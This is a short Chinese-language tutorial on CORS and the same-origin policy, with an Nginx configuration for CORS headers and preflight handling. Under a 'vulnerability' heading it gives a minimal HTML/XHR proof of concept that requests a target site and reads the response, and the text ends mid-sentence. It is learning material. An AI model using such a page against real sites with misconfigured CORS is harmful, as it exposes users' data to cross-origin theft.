CORS(跨域资源共享)用于控制一个域名下的网页是否有权限去访问另一个域名下的资源。
浏览器默认遵循的同源策略(SOP)只有在 url 协议,域名,端口都完全相同的网页才会视为 “同源”,可以自由访问对方资源。
例如:
一般的访问(因为浏览器自己会加 Origin)以及 JSON(GET)都可以实现跨域数据获取
# CORS
需要说明,跨域请求是否成功取决于被请求的服务器,因为前端页面只会附加一个 Origin
请求头来标识发起这个请求的页面。在后端必须要设置允许这个 Origin
跨域请求
例如(Nginx):
server { | |
listen 80; | |
server_name api.example.com; | |
# 允许跨域的配置 | |
location / { | |
# 允许的源(可替换为具体域名,* 表示所有) | |
add_header 'Access-Control-Allow-Origin' 'http://localhost:3000'; | |
# 允许的方法 | |
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS'; | |
# 允许的请求头,这里的 X-token 代指自定义的请求头部 | |
add_header 'Access-Control-Allow-Headers' 'Content-Type, X-Token'; | |
# 允许携带凭证(Cookie)。为 true 时,源不可以设置为所有(*) | |
add_header 'Access-Control-Allow-Credentials' 'true'; | |
# 预检请求的缓存时间 | |
add_header 'Access-Control-Max-Age' '3600'; | |
# 处理预检请求(OPTIONS 方法) | |
if ($request_method = 'OPTIONS') { | |
return 204; # 成功响应预检请求,无需返回内容 | |
} | |
# 转发请求到实际后端(如 Node.js/Java 服务) | |
proxy_pass http://localhost:5000; | |
} | |
} | |
#当请求使用了 PUT/DELETE,内容是 json 或者自定义了头部,此时会先发送一个预检请求(OPTIONS 方法)来确认服务器是否允许跨域请求,以上 add_header 的内容可以在响应里看到 |
# 漏洞
伪造,拿数据:
<!DOCTYPE> | |
<html> | |
<script type="text/javascript"> | |
function loadXMLDoc() | |
{ | |
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange=function() | |
{ | |
if(xhr.readyState == 4 && xhr.status == 200) | |
{ | |
var datas=xhr.responseText; | |
alert(datas); | |
} | |
} | |
xhr.open("GET","http://www.target.com","true") // 网页地址 | |
xhr.send(); | |
} | |
loadXMLDoc(); | |
</script> | |
</html> |
一般用于